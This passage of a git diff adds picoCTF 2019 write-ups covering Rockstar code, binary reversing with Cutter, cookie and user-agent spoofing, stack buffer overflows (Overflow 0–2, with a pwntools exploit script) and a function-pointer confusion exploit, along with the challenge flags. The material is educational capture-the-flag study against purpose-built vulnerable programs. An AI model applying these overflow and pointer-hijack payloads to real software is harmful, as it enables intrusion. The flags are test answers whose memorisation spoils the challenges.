flag into Pico + + +shout Pico +shout Pico +shout Pico + +My song's something +put Pico into This + +Knock This down, down, down +put This into CTF + +shout CTF +my lyric is nothing +Put This without my song into my lyric +Knock my lyric down, down, down + +shout my lyric + +Put my lyric into This +Put my song with This into my lyric +Knock my lyric down + +shout my lyric + +Build my lyric up, up ,up + +shout my lyric +shout Pico +shout It + +Pico CTF is fun +security is important +Fun is fun +Put security with fun into Pico CTF +Build Fun up +shout fun times Pico CTF +put fun times Pico CTF into my song + +build it up + +shout it +shout it + +build it up, up +shout it +shout Pico +``` + +The challenge here is to realize that these are not actually lyrics to a song but instead code for the programming language rockstar. You can run it [here](https://codewithrockstar.com/online). The output is the flag in decimal format. I converted it using [CyberChef](https://gchq.github.io) and got the flag, `picoCTF{rrrocknrn0113r}`. \ No newline at end of file diff --git a/writeups/picoCTF19/needForSpeed.md b/writeups/picoCTF19/needForSpeed.md new file mode 100644 index 0000000..c47ca91 --- /dev/null +++ b/writeups/picoCTF19/needForSpeed.md @@ -0,0 +1,67 @@ +# PicoCTF 2019 - Need For Speed +Author: PinkNoize + +Reverse Engineering - 400 + +> The name of the game is speed. Are you quick enough to solve this problem and keep it above 50 mph? need-for-speed. + +## TL;DR + +This challenge provides a program that sets up a short timer to kill the program. The program then calculates a key and uses the key to decrypt the flag and print it. Calculate the key manually and emulate to get the flag. + +# Writeup + +This challenge provides a 64-bit ELF. + +```bash +$ file need-for-speed +need-for-speed: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4c324a73846c4d207a3be5206e16fe60d57026ba, not stripped +``` + +I will be using Cutter to solve this challenge. We will first start by understanding `main`. + +![](assets/needForSpeedMain.png) + +The `main` function starts by calling `header`, `set_timer`, `get_key` and finally, `print_flag`. The `header` function appears to do nothing but print text so we will next analyze `set_timer`. + +![](assets/needForSpeedSetTimer.png) + +This function sets up a signal handler, then sets an alarm for 1 second. The signal handler, `alarm_handler`, exits the program when the signal arrives. This function is what makes the binary exit before `main` finishes. + +![](assets/needForSpeedGetKey.png) + +`get_key` prints some strings, but most importantly calls `calculate_key` and sets a global variable, `key`, to the result of that call. + +![](assets/needForSpeedCalculateKey.png) + +`calculate_key` is a simple function with one local variable and *no arguments*. Having no arguments means that this function always returns the same value. This function sets a variable to 0xd33af10e and subtracts 1 until it equals 0xe99d7887. It then returns that variable. This means it will always return `0xe99d7887`, which is the key. + +To summarize the function `get_key`, it sets the global variable, `flag`, to `0xe99d7887`, but takes a long time doing it. + +![](assets/needForSpeedPrintFlag.png) + +`print_flag` first prints a string then calls `decrypt_flag(flag)`, where `flag` is the global variable. It ends by printing the flag. + +![](assets/needForSpeedDecryptFlag.png) + +`decrypt_flag` is a meaty function that decrypts the flag using the calculated key. We could convert the instructions to python to decrypt the flag like we did in the previous challenge, although this would would be rather tedious. There are 3 "easy" solutions that come to mind with this challenge, + +1. Patch the binary to convert the alarm call to a NOP and run the binary. We would still have to wait a bit for `calculate_flag` to finish. +2. Patch the binary to change `calculate_key` into a function that quickly returns 0xe99d7887 and run it. +3. Emulate decrypt_flag(0xe99d7887) and print the flag. + +I went with the 3rd option as I wanted to learn more about emulation in Cutter and wanted to avoid running the binary (until you reverse engineer the entire binary, you never know what kind of hidden features there are). + +To emulate decrypt flag, first click on `sym.decrypt_flag` in the functions window. Then click on the dropdown next to the play button as shown in the screenshot below. Then click start emulation. + +![](assets/needForSpeedEmuStart.png) + +To set the argument to `0xe99d7887` we need to set rdi to `0xe99d7887` as the first argument is passed in rdi. You can do this by editing the value in the registers window as shown below. + +![](assets/needForSpeedEmuEdit.png) + +We can then continue to the end of the function by right clicking the `ret` at the end of the function and selecting `Debug` then `Continue till line`. At this point the flag should have already been decrypted. You can view the flag by navigating to `obj.flag` in the hexdump tab or by typing `pf z @obj.flag` in the console window. `pf z @obj.flag` means to print formatted data as a null terminated string(`z`) at the object `obj.flag`. + +![](assets/needForSpeedEmuFlag.png) + +We now have the flag, `PICOCTF{Good job keeping bus #3b89d39c speeding along!}`. \ No newline at end of file diff --git a/writeups/picoCTF19/openToAdmins.md b/writeups/picoCTF19/openToAdmins.md new file mode 100644 index 0000000..71d96e8 --- /dev/null +++ b/writeups/picoCTF19/openToAdmins.md @@ -0,0 +1,23 @@ +# PicoCTF 2019 - Open-to-admins +Author: PinkNoize + +Web Exploitation - 200 + +> This secure website allows users to access the flag only if they are admin and if the time is exactly 1400. https://2019shell1.picoctf.com/problem/32249/ (link) or http://2019shell1.picoctf.com:32249 + +## TL;DR + +The challenge provides a website with a protected flag page. Set admin cookie and time cookie to get the flag. + +# Writeup + +This challenge starts by directing us to a page with a big flag button. If you click on the flag button it tries to access `/flag` but redirects us back with an error message `I'm sorry it doesn't look like you are the admin or it's the incorrect time`. We will have to find a way that makes us admin and set or determine the time. This cannot be done by signing in as the sign in page has not been implemented. + +The challenge provides a hint saying, `Can cookies help you to get the flag?`. Perhaps if we set an admin cookie and set a time cookie we can get the flag. + +```bash +$ curl https://2019shell1.picoctf.com/problem/32249/flag -b 'admin=True;time=1400' | grep picoCTF{ +

Flag: picoCTF{0p3n_t0_adm1n5_cc661e91}

+``` + +We now have the flag, `picoCTF{0p3n_t0_adm1n5_cc661e91}`. \ No newline at end of file diff --git a/writeups/picoCTF19/overflow0.md b/writeups/picoCTF19/overflow0.md new file mode 100644 index 0000000..14e9440 --- /dev/null +++ b/writeups/picoCTF19/overflow0.md @@ -0,0 +1,240 @@ +# PicoCTF 2019 - Overflow-0 +Author: PinkNoize + +Binary Exploitation - 100 + +> This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_4_e130f4df1710865981d50f778a8059f7 on the shell server. + +## TL;DR + +This challenge provides a program that prints the flag after a segfault occurs. The solution is to overflow the return address in the `vuln` function to cause the segfault. + +# Writeup + +As with some of the other challenges, this challenge directs us to a directory containing a vulnerable program, the source of the program and the flag file. + +```bash +user@pico-2019-shell1:/problems/overflow-0_4_e130f4df1710865981d50f778a8059f7$ cd /problems/overflow-0_4_e130f4df1710865981d50f778a8059f7 +user@pico-2019-shell1:/problems/overflow-0_4_e130f4df1710865981d50f778a8059f7$ ls -al +total 92 +drwxr-xr-x 2 root root 4096 Sep 28 2019 . +drwxr-x--x 684 root root 69632 Oct 10 2019 .. +-r--r----- 1 hacksports overflow-0_4 27 Sep 28 2019 flag.txt +-rwxr-sr-x 1 hacksports overflow-0_4 7644 Sep 28 2019 vuln +-rw-rw-r-- 1 hacksports hacksports 814 Sep 28 2019 vuln.c +``` + +The vulnerable program, `vuln`, runs with SGID and can therefore read `flag.txt`. + +Let's start by reading the source code. + +```c +// vuln.c +#include +#include +#include +#include + +#define FLAGSIZE_MAX 64 + +char flag[FLAGSIZE_MAX]; + +void sigsegv_handler(int sig) { + fprintf(stderr, "%s\n", flag); + fflush(stderr); + exit(1); +} + +void vuln(char *input){ + char buf[128]; + strcpy(buf, input); +} + +int main(int argc, char **argv){ + + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); + exit(0); + } + fgets(flag,FLAGSIZE_MAX,f); + signal(SIGSEGV, sigsegv_handler); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + if (argc > 1) { + vuln(argv[1]); + printf("You entered: %s", argv[1]); + } + else + printf("Please enter an argument next time\n"); + return 0; +} +``` + +The program start in `main()` and reads the flag from `flag.txt` into the character array `flag`. The program then sets up a signal handler, `sigsegv_handler()`, for the `SIGSEGV` signal. This means that when the program receives a `SIGSEGV` signal, the program will be interrupted and jump to the `sigsegv_handler()` function. In `sigsegv_handler()` we can see that the flag is printed, so to complete the challenge we have to make the program receive a `SIGSEGV` signal. + +The `SIGSEGV` signal is sent to a process (running program) when that process tries to access memory that does not have the permission that the action requires which is known as a [segmentation fault](https://en.wikipedia.org/wiki/Segmentation_fault). For example, this can happen when a process tries to write to a section of memory that does not have write permissions or when a process tries to execute memory that does not have execute permissions. Therefore, in order to get the flag we have to cause the process to try to access memory that it shouldn't access. + +The next function calls +```c + gid_t gid = getegid(); + setresgid(gid, gid, gid); +``` +are used to set the group permissions so that they will be retained if a shell spawning exploit is used. + +After that, if an argument is passed to the program, `vuln()` is called with the 1st argument passed to it. `vuln()` allocates an array of size 128, `buf`, then copies the argument into `buf` using `strcpy()`. As documented by the man page, `strcpy()` is a dangerous function to use as it is not informed on the size of the buffer. + +``` +STRCPY(3) Linux Programmer's Manual STRCPY(3) + +NAME + strcpy, strncpy - copy a string + +SYNOPSIS + #include + + char *strcpy(char *dest, const char *src); +... +BUGS + If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed- + length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a + program reads or copies data into a buffer, the program first needs to check that there's enough space. This + may be unnecessary if you can show that overflow is impossible, but be careful: programs can get changed over + time, in ways that may make the impossible possible. +``` + +Using this information, if we pass a string longer than 128 characters as the first argument, the process will write outside the memory allocated for `buf`. To understand why writing outside `buf` is dangerous, we first have to understand how functions are called and where local variables are placed. This will require a little bit of [assembly](https://en.wikipedia.org/wiki/X86_assembly_language). + +We can dump the assembly using `objdump` the -M flag selects the syntax for the assembly + +```bash +user@pico-2019-shell1:/problems/overflow-0_4_e130f4df1710865981d50f778a8059f7$ objdump -d vuln -M intel +``` + +The left column is the address of the instruction in hex, the middle is the hex representation of the machine code, and the right column are the assembly instructions. + +Before we can begin our assembly analysis, a few assembly concepts need to be established. + +In the CPU, there are several general purpose registers. A register is a thing that stores values. There are several specialized registers such as `eip`, `esp`, and `ebp`. The `eip` points to the current instruction and increments after completing an instruction. The `esp` register keeps track of the bottom of the stack. The stack is used to store local variables (function variables) and keep track of function calls. When a function is called it creates a **stack frame** and puts it on the *bottom* of the stack. When that function returns, the **stack frame** is removed from the stack. This is similar to placing and removing a card from an upside down stack of cards. The **stack frame** contains the function's arguments, the return address, the previous function's base pointer (this is the start of the previous stack frame), backed up registers and local variables. The `ebp` register is used as a reference to find items in the stack frame. + +``` +High Addresses + /-----------------------\ + | Previous Stack Frame | + \-----------------------/ + /-----------------------\ + | Arguments | + |-----------------------| + | Return Address | + Current |-----------------------| + Stack | Previous Base Pointer | <-- ebp + Frame |-----------------------| + | Backed up Registers | + |-----------------------| + | Local Variables | <-- esp + \-----------------------/ +Low Addresses +``` + +If we go to the assembly for the call to `vuln()`, we can understand how the stack is setup and how we can trigger a `SEGSEGV`. + +```gas +8048773: 8b 46 04 mov eax,DWORD PTR [esi+0x4] +8048776: 83 c0 04 add eax,0x4 +8048779: 8b 00 mov eax,DWORD PTR [eax] +804877b: 83 ec 0c sub esp,0xc +804877e: 50 push eax +804877f: e8 14 ff ff ff call 8048698 +8048784: 83 c4 10 add esp,0x10 +``` +The first three instructions are used to place the contents of `argv[1]` into `eax`. The 4th instruction is an optimization that aligns the stack. The fifth instruction pushes the first argument onto the stack, which begins the stack frame for the `vuln()` function. At this point the stack looks like ... + +``` + /-----------------------\ +[esp+4] | Previous Stack Frame | + \-----------------------/ + /-----------------------\ +[esp+0] | argv[1] | <-- esp +``` + +The `vuln()` function is then called. The `call` instruction pushes the address of the next instruction to the stack and jumps to the specified location (eip = 0x8048698). The stack is now ... + +``` + /-----------------------\ +[esp+8] | Previous Stack Frame | + \-----------------------/ + /-----------------------\ +[esp+4] | argv[1] | + |-----------------------| +[esp+0] | 0x8048784 | Return Address <-- esp +``` + +We now must analyze `vuln()` to determine where `buf` is placed and how its placement allows us to cause a `SIGSEGV` (and much worse things). + +``` +08048698 : +8048698: 55 push ebp +8048699: 89 e5 mov ebp,esp +804869b: 53 push ebx +804869c: 81 ec 84 00 00 00 sub esp,0x84 +``` + +The first instruction saves the base pointer of the previous frame. The second instruction sets `ebp` to where the current base pointer should be. This will be used to find function arguments and local variables later. The third instruction backs up the ebx register so that its value can be restored at the end of the function. The 4th instruction allocates the space for the `buf` variable. You might notice that 0x84 = 132 which is bigger than the 128 specified in the C code. This is to keep the stack aligned. The stack frame is complete and the stack now looks like ... + +``` + /-----------------------\ + | Previous Stack Frame | + \-----------------------/ + /-----------------------\ +[ebp+8] | argv[1] | + |-----------------------| + | 0x8048784 | Return Address + |-----------------------| + | Previous ebp | <-- ebp + |-----------------------| + | Backed up ebx | + |-----------------------| + | Unused Memory | + |-----------------------| + | End of buf | + . + . + . +[ebp-0x88] | Start of buf | <-- esp + \-----------------------/ +``` + +Now that the stack frame is complete, we can see how we can cause a segfault. If we can overwrite the return address with garbage when `vuln()` returns, the process will try to execute un-executable memory causing a segfault. This is easier done than said. + +```bash +user@pico-2019-shell1:/problems/overflow-0_4_e130f4df1710865981d50f778a8059f7$ ./vuln $(python -c "print('a'*144)") +picoCTF{3asY_P3a5y2f814ddc} +``` + +After the strcpy, the stack looks like this ... +``` + /-----------------------\ + | Previous Stack Frame | + \-----------------------/ + /-----------------------\ +[ebp+8] | argv[1] | + |-----------------------| + | aaaa | Return Address + |-----------------------| + | aaaa | <-- ebp + |-----------------------| + | aaaa | + |-----------------------| + | aaaa | + |-----------------------| + | aaaa | + . + . + . +[ebp-0x88] | aaaa | <-- esp + \-----------------------/ +``` + +This technique of overwriting the return address can also be combined with the shellcode of [handy-shellcode](handyShellcode.md) to produce an exploit that spawns a shell. This is useful when there isn't a magical function that prints the flag for you. diff --git a/writeups/picoCTF19/overflow1.md b/writeups/picoCTF19/overflow1.md new file mode 100644 index 0000000..d14793d --- /dev/null +++ b/writeups/picoCTF19/overflow1.md @@ -0,0 +1,65 @@ +# PicoCTF 2019 - Overflow-1 +Author: PinkNoize + +Binary Exploitation - 150 + +> You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 on the shell server. + +## TL;DR + +The challenge provides a program with a classic buffer overflow and a function to print the flag. To solve, overwrite a return address with the address of the flag function. + +# Writeup + +As with the previous challenges, we `cd` to the specified directory and find a protected flag file, a vulnerable program and the source for the program. + +```bash +user@pico-2019-shell1:~$ cd /problems/overflow-1_2_305519bf80dcdebd46c8950854760999 +user@pico-2019-shell1:/problems/overflow-1_2_305519bf80dcdebd46c8950854760999$ ls -al +total 92 +drwxr-xr-x 2 root root 4096 Sep 28 2019 . +drwxr-x--x 684 root root 69632 Oct 10 2019 .. +-r--r----- 1 hacksports overflow-1_2 42 Sep 28 2019 flag.txt +-rwxr-sr-x 1 hacksports overflow-1_2 7532 Sep 28 2019 vuln +-rw-rw-r-- 1 hacksports hacksports 742 Sep 28 2019 vuln.c +``` + +After reading the source code we find a similar vulnerability as in the previous challenge, the use of the `gets()`. + +```c +void vuln(){ + char buf[BUFFSIZE]; + gets(buf); + + printf("Woah, were jumping to 0x%x !\n", get_return_address()); +} +``` + +As detailed in the description, we have to overflow `buf` and change the return address of `vuln()` to `flag()`. In the previous challenge, Overflow-0, we looked at the assembly to determine how far away the return address is from the buffer. This is time-consuming and unnecessary as we could repeat our target address a bunch and at some length we would overwrite the return address. + +To start crafting this exploit we first need to know the address of the `flag()` function. We can find this by grepping the output of `readelf -s vuln`, which prints the symbol table of `vuln`. + +```bash +user@pico-2019-shell1:/problems/overflow-1_2_305519bf80dcdebd46c8950854760999$ readelf -s vuln | grep flag + 74: 080485e6 121 FUNC GLOBAL DEFAULT 14 flag +``` + +The address of the function is in the second column and is `0x080485e6`. Now we can craft our exploit by sending the program this address repeated a bunch of times. I chose 20 because 20*4 is bigger than 64 (the size of the buffer). + +```bash +user@pico-2019-shell1:/problems/overflow-1_2_305519bf80dcdebd46c8950854760999$ python -c "print b'\x08\x04\x85\xe6'*20" | ./vuln +Give me a string and lets see what happens: +Woah, were jumping to 0xe6850408 ! +Segmentation fault (core dumped) +``` + +Woah, the address we put was `0x080485e6` but for some reason it got `0xe6850408` which is the same address but reversed. This is due to the fact that x86 (the architecture these challenges are running on and probably your computer too) stores values in memory in ***little endian***. Little endian basically means that numbers and addresses are stored in memory in reverse order. Strings are still stored how you would expect them to be. This means that if we want `vuln()` to return to `0x080485e6`, we have to reverse the bytes to make them little endian. + +```bash +user@pico-2019-shell1:/problems/overflow-1_2_305519bf80dcdebd46c8950854760999$ python -c "print b'\xe6\x85\x04\x08'*20" | ./vuln +Give me a string and lets see what happens: +Woah, were jumping to 0x80485e6 ! +picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5a32b9368}Segmentation fault (core dumped) +``` + +Now that we reversed the bytes, the program returns to the `flag()` function and prints us the flag. \ No newline at end of file diff --git a/writeups/picoCTF19/overflow2.md b/writeups/picoCTF19/overflow2.md new file mode 100644 index 0000000..7362e5e --- /dev/null +++ b/writeups/picoCTF19/overflow2.md @@ -0,0 +1,208 @@ +# PicoCTF 2019 - OverFlow 2 +Author: PinkNoize + +Binary Exploitation - 250 + +> Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434 on the shell server. + +## TL;DR + +The challenge provides a program with a classic buffer overflow and a function to print the flag. To solve, overwrite a return address with the address of the flag function and set the expected function arguments. + +# Writeup + +This challenge is identical to [OverFlow 1](overflow1.md) except that it expects certain arguments to be passed to `flag()`. This challenge provides us with a flag file, a binary and the source code for that binary. + +```c +#include +#include +#include +#include +#include + +#define BUFSIZE 176 +#define FLAGSIZE 64 + +void flag(unsigned int arg1, unsigned int arg2) { + char buf[FLAGSIZE]; + FILE *f = fopen("flag.txt","r"); + if (f == NULL) { + printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); + exit(0); + } + + fgets(buf,FLAGSIZE,f); + if (arg1 != 0xDEADBEEF) + return; + if (arg2 != 0xC0DED00D) + return; + printf(buf); +} + +void vuln(){ + char buf[BUFSIZE]; + gets(buf); + puts(buf); +} + +int main(int argc, char **argv){ + + setvbuf(stdout, NULL, _IONBF, 0); + + gid_t gid = getegid(); + setresgid(gid, gid, gid); + + puts("Please enter your string: "); + vuln(); + return 0; +} +``` + +Like Overflow 1, we have to change the return address of `vuln()` to `flag()`. We can get the offset from `buf` to the return address by viewing the assembly. + +```gas +08048676 : +8048676: 55 push ebp +8048677: 89 e5 mov ebp,esp +8048679: 53 push ebx +804867a: 81 ec b4 00 00 00 sub esp,0xb4 +8048680: e8 9b fe ff ff call 8048520 <__x86.get_pc_thunk.bx> +8048685: 81 c3 7b 19 00 00 add ebx,0x197b +804868b: 83 ec 0c sub esp,0xc +804868e: 8d 85 48 ff ff ff lea eax,[ebp-0xb8] +8048694: 50 push eax +8048695: e8 96 fd ff ff call 8048430 +804869a: 83 c4 10 add esp,0x10 +804869d: 83 ec 0c sub esp,0xc +80486a0: 8d 85 48 ff ff ff lea eax,[ebp-0xb8] +80486a6: 50 push eax +80486a7: e8 b4 fd ff ff call 8048460 +80486ac: 83 c4 10 add esp,0x10 +80486af: 90 nop +80486b0: 8b 5d fc mov ebx,DWORD PTR [ebp-0x4] +80486b3: c9 leave +80486b4: c3 ret +``` +From the call to `gets()`, we can see that the only local variable, `buf`, is placed at ebp-0xb8. Knowing that ebp points at the previous base pointer, we can figure out that the return address is located at ebp+0x4. This means we have to write (ebp+0x4-(ebp-0xb8)) = 0xbc bytes to overwrite the return address. +``` +High Addresses + /-----------------------\ + | Previous Stack Frame | + \-----------------------/ + /-----------------------\ + | Arguments | + |-----------------------| + | Return Address | + Current |-----------------------| + Stack | Previous Base Pointer | <-- ebp + Frame |-----------------------| + | Backed up Registers | + |-----------------------| + | Local Variables | <-- esp + \-----------------------/ +Low Addresses +``` + +We will also have to pass arguments to flag if we want it to print the flag. As we are not calling a function but instead doing a return to the start of the function, we need to setup the stack so that after the return from `vuln()`, we will have half of the stack frame setup. Before the return from `vuln()`, our stack will have to look like this... + +``` + /-----------------------\ + | Arg2 | + |-----------------------| + | Arg1 | + |-----------------------| + | Dummy Return Address | + |-----------------------| + | flag() Address | + |-----------------------| + | AAAA | <-- ebp + |-----------------------| + | AAAA | + |-----------------------| + . + . + . + | AAAA | <-- esp + \-----------------------/ +``` + +I will be using [pwntools](https://github.com/Gallopsled/pwntools) to create the exploit for this one to show how a CTF framework can simplify some of the quirks of exploit writing. The script below requires you to [setup ssh keys](https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2) for the picoCTF shell server. + +```python +from pwn import * +# arch or architecture is i386 as this is a 32 bit binary (you can check this with file) +# os or operating system is linux as the picoCTF shell is on a linux system +context(arch='i386', os='linux') + +# ssh into the shell server +s1 = ssh( + host='2019shell1.picoctf.com', + user='user', + keyfile='~/.ssh/picoCTF', +) +s1.set_working_directory(b'/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434') +# run vuln +p = s1.process('./vuln') +# parse the elf file +elf = p.elf + +flag_addr = elf.symbols['flag'] + +# Receive the prompt +p.recvline() + +# Pad up to the return address +payload = b"A"*(0xBC) + +# add flag() address as a 32 bit value +# pwntools automatically makes it little endian as we specified the context above +payload += p32(flag_addr) + +# Add dummy return +payload += p32(0xAAAAAAAA) + +# Add arg1 +payload += p32(0xDEADBEEF) + +# Add arg2 +payload += p32(0xC0DED00D) + +# Send the payload +p.sendline(payload) + +print(p.recvallS()) +p.close() +``` + +We can then run this script to receive the flag. Make sure to substitute your username and path to keyfile. + +```bash +┌─[user@hostname]─[~] +└──╼ $python3 solution.py +[+] Connecting to 2019shell1.picoctf.com on port 22: Done +[*] user@2019shell1.picoctf.com: + Distro Ubuntu 18.04 + OS: linux + Arch: amd64 + Version: 4.15.0 + ASLR: Enabled +[*] Working directory: '/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434' +[+] Starting remote process './vuln' on 2019shell1.picoctf.com: pid 1935868 +[+] Opening new channel: 'readlink -f /problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434/vuln': Done +[+] Receiving all data: Done (61B) +[*] Closed SSH channel with 2019shell1.picoctf.com +[+] Downloading '/lib32/libc.so.6' to '/home/user/2019shell1.picoctf.com/lib32/libc.so.6': Found '/lib32/libc-2.27.so' in ssh cache +[+] Downloading '/lib/ld-linux.so.2' to '/home/user/2019shell1.picoctf.com/lib/ld-linux.so.2': Found '/lib32/ld-2.27.so' in ssh cache +[+] Downloading '/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434/vuln' to '/home/user/2019shell1.picoctf.com/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434/vuln': Found '/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434/vuln' in ssh cache +[*] '/home/user/2019shell1.picoctf.com/problems/overflow-2_4_bbfcc061b1e9e5e8a7e313593365d434/vuln' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) +[+] Receiving all data: Done (238B) +[*] Stopped remote process 'vuln' on 2019shell1.picoctf.com (pid 1935868) +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAæ +\x04ªªªªï¾­ÞÐÞÀ +picoCTF{arg5_and_r3turn598632d70} +``` diff --git a/writeups/picoCTF19/picobrowser.md b/writeups/picoCTF19/picobrowser.md new file mode 100644 index 0000000..b4fcd3f --- /dev/null +++ b/writeups/picoCTF19/picobrowser.md @@ -0,0 +1,25 @@ +# picoCTF 2019 - picobrowser +Author: PinkNoize + +Web Exploitation - 200 + +> This website can be rendered only by picobrowser, go and catch the flag! https://2019shell1.picoctf.com/problem/21851/ (link) or http://2019shell1.picoctf.com:21851 + +## TL;DR + +This challenge provides a webpage that is only accessible from the picobrowser. Change your user agent to get the flag. + +# Writeup + +This challenge starts us at a similar page to [open-to-admins](openToAdmins.md) with a big green flag button. If we click on it it presents us with an error, `You're not picobrowser! Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 `. It appears that it knows I'm using Firefox and not picobrowser. If we view the network tab (Ctrl+Shift+E), and do the request again we can inspect the request our browser makes. + +![](assets/picobrowserNetwork.png) + +As we can see in the bottom right of the image, the browser sends what is known as a `User-Agent` which identifies the browser being used. If we change this to picobrowser, perhaps we will get the flag. We can do this using curl with the `--user-agent` flag. + +```bash +$ curl https://2019shell1.picoctf.com/problem/21851/flag --user-agent picobrowser | grep picoCTF{ +

Flag: picoCTF{p1c0_s3cr3t_ag3nt_3e1c0ea2}

+``` + +We now have the flag, `picoCTF{p1c0_s3cr3t_ag3nt_3e1c0ea2}`. \ No newline at end of file diff --git a/writeups/picoCTF19/pointy.md b/writeups/picoCTF19/pointy.md new file mode 100644 index 0000000..2f1d67b --- /dev/null +++ b/writeups/picoCTF19/pointy.md @@ -0,0 +1,159 @@ +# PicoCTF 2019 - pointy +Author: PinkNoize + +Binary Exploitation - 350 + +> Exploit the function pointers in this program. It is also found in /problems/pointy_4_3b3533bd4e08119669feda53e8cb0502 on the shell server. + +## TL;DR + +This challenge consists of a program that has two structs with similar definitions, except one has an integer where one has a function pointer. To get the flag, utilize a bad search function to trick the program into using the integer as a function pointer. + +# Writeup + +This challenge provides a program with a good amount of moving parts such that you should take your time reading and understanding the source code. + +```c +#include +#include +#include +#include +#include +#include + +#define FLAG_BUFFER 128 +#define NAME_SIZE 128 +#define MAX_ADDRESSES 1000 + +int ADRESSES_TAKEN=0; +void *ADDRESSES[MAX_ADDRESSES]; + +void win() { + char buf[FLAG_BUFFER]; + FILE *f = fopen("flag.txt","r"); + fgets(buf,FLAG_BUFFER,f); + puts(buf); + fflush(stdout); +} + +struct Professor { + char name[NAME_SIZE]; + int lastScore; +}; + +struct Student { + char name[NAME_SIZE]; + void (*scoreProfessor)(struct Professor*, int); +}; + +void giveScoreToProfessor(struct Professor* professor, int score){ + professor->lastScore=score; + printf("Score Given: %d \n", score); + +} + +void* retrieveProfessor(char * name ){ + for(int i=0; iname, name ,NAME_SIZE )==0){ + return ADDRESSES[i]; + } + } + puts("person not found... see you!"); + exit(0); +} + +void* retrieveStudent(char * name ){ + for(int i=0; iname, name ,NAME_SIZE )==0){ + return ADDRESSES[i]; + } + } + puts("person not found... see you!"); + exit(0); +} + +void readLine(char * buff){ + int lastRead = read(STDIN_FILENO, buff, NAME_SIZE-1); + if (lastRead<=1){ + exit(0); + puts("could not read... see you!"); + } + buff[lastRead-1]=0; +} + +int main (int argc, char **argv) +{ + while(ADRESSES_TAKENname); + printf("Input the name of the favorite professor of a student \n"); + struct Professor* professor = (struct Professor*)malloc(sizeof(struct Professor)); + ADDRESSES[ADRESSES_TAKEN+1]=professor; + readLine(professor->name); + student->scoreProfessor=&giveScoreToProfessor; + ADRESSES_TAKEN+=2; + printf("Input the name of the student that will give the score \n"); + char nameStudent[NAME_SIZE]; + readLine(nameStudent); + student=(struct Student*) retrieveStudent(nameStudent); + printf("Input the name of the professor that will be scored \n"); + char nameProfessor[NAME_SIZE]; + readLine(nameProfessor); + professor=(struct Professor*) retrieveProfessor(nameProfessor); + puts(professor->name); + unsigned int value; + printf("Input the score: \n"); + scanf("%u", &value); + student->scoreProfessor(professor, value); + } + return 0; +``` + +The most important parts of this program to understand are `struct Student`, `struct Professor`, `retrieveStudent()` and `retrieveProfessor()`. As we can see from the struct definitions, the only difference between them is one has an integer attribute and one has a function attribute. The `retrieveStudent()` and `retrieveProfessor()` are identical and search for the first element in `ADDRESSES` that has the same name as the one requested. We later will exploit the fact that these functions don't distinguish between professors and students. + + +Before we can write the exploit, we first have to understand how function pointers work. When we allocate a struct such as `struct Student* student = (struct Student*)malloc(sizeof(struct Student));`, some amount of memory is allocated that can fit all the attributes of the struct. In this case, these are at least 128 bytes for the `name` buffer and at least 4 bytes for the address of the function that `scoreProfessor` points to. It also this case for `struct Professor` with the only difference being that the 4 bytes are for an integer, `score`. When you assign `scoreProfessor` to a function, it sets the 4 bytes to the address of the specified function. Then when you call the function, the address is loaded into a register then the register is the target of a call as shown below. + +```gas +8048a60: 8b 85 ec fe ff ff mov eax,DWORD PTR [ebp-0x114] ; get address of struct +8048a66: 8b 80 80 00 00 00 mov eax,DWORD PTR [eax+0x80] ; get function address using offset +... +8048a7c: ff d0 call eax +``` + +If we were able to make a `struct Professor` where we controlled the score and trick the program into thinking it is a student, we can make the program call any function such as `win()`. This would only happen if `scoreProfessor` is called on that `struct Professor`. + +In `main()`, `scoreProfessor` is called at the end of the while loop on `student`. The last assignment of `student` is from a call to `retrieveStudent()`. As `retrieveStudent()` can return a `struct Professor`, we can call `win()`. + +Now we can start our exploit, first we will create a student as prompted. I'm calling this student "stu1". Then we will create a professor called "prof1". We will score prof1 using stu1. The score value must be the address of `win()`, **0x08048696**. We have to convert this to decimal so that `scanf` parses the correct value. So the score would be **134514326**. Now that we set the score of prof1 to the address of `win()`, we have to trick the program into treating it as a student. On the next loop we will create another student and professor whose names do not matter. Then we will *score this professor using prof1*. The score doesn't matter here. The process will then call `win()` and print the flag. + +```bash +user@pico-2019-shell1:/problems/pointy_4_3b3533bd4e08119669feda53e8cb0502$ ./vuln +Input the name of a student +stu1 +Input the name of the favorite professor of a student +prof1 +Input the name of the student that will give the score +stu1 +Input the name of the professor that will be scored +prof1 +prof1 +Input the score: +134514326 +Score Given: 134514326 +Input the name of a student +stu2 +Input the name of the favorite professor of a student +prof2 +Input the name of the student that will give the score +prof1 +Input the name of the professor that will be scored +prof2 +prof2 +Input the score: +5 +picoCTF{g1v1ng_d1R3Ct10n5_c7465fbf} +Input the name of a student +``` \ No newline at end of file diff 